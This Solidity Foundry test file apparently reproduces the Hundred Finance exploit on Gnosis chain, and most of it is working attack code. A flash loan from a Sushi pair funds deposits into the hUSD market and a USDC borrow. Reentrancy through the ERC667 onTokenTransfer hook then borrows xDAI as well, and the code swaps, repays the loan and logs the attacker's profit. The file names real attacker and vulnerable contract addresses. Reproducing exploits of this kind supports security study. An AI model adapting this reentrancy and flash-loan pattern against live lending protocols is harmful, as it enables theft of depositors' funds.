HundredFinance_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

/*
Root cause: ERC667 tokens hooks reentrancy.

Attacker wallet: 0xd041ad9aae5cf96b21c3ffcb303a0cb80779e358
Attacker contract: 0xdbf225e3d626ec31f502d435b0f72d82b08e1bdd
Attack tx: https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098
Debug tx: https://dashboard.tenderly.co/tx/xdai/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098

 Vulnerable contract:
 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee
 0xe4e43864ea18d5e5211352a4b810383460ab7fcc
 0x8e15a22853a0a60a0fbb0d875055a8e66cff0235
 0x090a00a2de0ea83def700b5e216f87a5d4f394fe

ref: https://github.com/compound-finance/compound-protocol/issues/141
credit: https://github.com/Hephyrius/Immuni-Hundred-POC
*/
interface ICompoundToken {
    function borrow(uint256 borrowAmount) external;
    function repayBorrow(uint256 repayAmount) external;
    function redeem(uint256 redeemAmount) external;
    function mint(uint256 amount) external;
    function comptroller() external view returns(address);
}

interface IComptroller {
    function allMarkets() external view returns(address[] memory);
}

interface ICurve {
    function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external;
}

interface IWeth {
    function deposit() external payable;
}

contract ContractTest is Test {

    IERC20 private constant usdc  = IERC20(0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83);
    IERC20 private constant wxdai = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d);

    address private constant husd = 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee;
    address private constant hxdai = 0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE;

    ICurve curve = ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353);
    IUniswapV2Router private constant router = IUniswapV2Router(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));


    uint totalBorrowed;
    bool xdaiBorrowed = false;

  function setUp() public {
    vm.createSelectFork("gnosis", 21120319); //fork gnosis at block number 21120319
  }

  function testExploit() public {
        borrow();
        console.log("Attacker Profit: %s usdc", usdc.balanceOf(address(this))/1e6);
  }

    function borrow() internal {
        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
        IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(wxdai), address(usdc)));
        uint borrowAmount = usdc.balanceOf(address(pair)) - 1;

        pair.swap(
            pair.token0() == address(wxdai) ? 0 : borrowAmount,
            pair.token0() == address(wxdai) ? borrowAmount : 0,
            address(this),
            abi.encode("0x")
        );
        
    }
    function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data ) external {
        attackLogic(_amount0, _amount1, _data);
    }

    function attackLogic(uint256 _amount0, uint256 _amount1, bytes calldata _data ) internal {
        uint256 amountToken = _amount0 == 0 ? _amount1 : _amount0;
        totalBorrowed = amountToken;
        console.log("Borrowed: %s USDC from Sushi", usdc.balanceOf(address(this))/1e6);
        depositUsdc();
        borrowUsdc();
        swapXdai();
        uint amountRepay = ((amountToken * 1000) / 997) + 1;
        usdc.transfer(msg.sender, amountRepay);
        console.log("Repay Flashloan for : %s USDC", amountRepay/1e6);
    }
    function depositUsdc() internal {
        uint balance = usdc.balanceOf(address(this));
        usdc.approve(husd, balance);
        ICompoundToken(husd).mint(balance);
    }

    function borrowUsdc() internal {
        uint amount = (totalBorrowed * 90) / 100;
        ICompoundToken(husd).borrow(amount);
        console.log("Attacker USDC Balance After Borrow: %s USDC", usdc.balanceOf(address(this))/1e6);
        console.log("Hundred USDC Balance After Borrow: %s USDC", usdc.balanceOf(husd)/1e6);

    }

    function borrowXdai() internal {
        xdaiBorrowed = true;
        uint amount = ((totalBorrowed * 1e12) * 60) / 100;

        ICompoundToken(hxdai).borrow(amount);
        console.log("Attacker xdai Balance After Borrow: %s XDAI", address(this).balance/1e8);
        console.log("Hundred xdai Balance After Borrow: %s Xdai", address(hxdai).balance/1e8);
    }

    function swapXdai() internal {
        IWeth(payable(address(wxdai))).deposit{value: address(this).balance}();
        wxdai.approve(address(curve), wxdai.balanceOf(address(this)));
        curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1);
    }

    function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {
        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
        address pair = factory.getPair(address(wxdai), address(usdc));

        if(_from != pair && xdaiBorrowed == false){
            console.log("''i'm in!''");
            borrowXdai();
        }
    }
  receive() external payable {}
}